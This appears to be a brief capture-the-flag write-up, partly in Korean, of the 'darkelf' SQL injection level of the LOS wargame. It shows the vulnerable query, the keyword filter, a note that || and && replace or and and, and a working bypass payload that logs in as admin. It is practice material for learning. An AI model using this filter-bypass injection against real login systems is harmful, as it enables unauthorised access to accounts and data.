[LOS] darkelf

Query

select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'

Protection

preg_match

• prob 문자열
• _
• .
• ()
• or
• and

Analysis

• and와 or 연산자 대신 &&, ||를 사용할 수 있다

Payload

?pw=' || id='admin' %23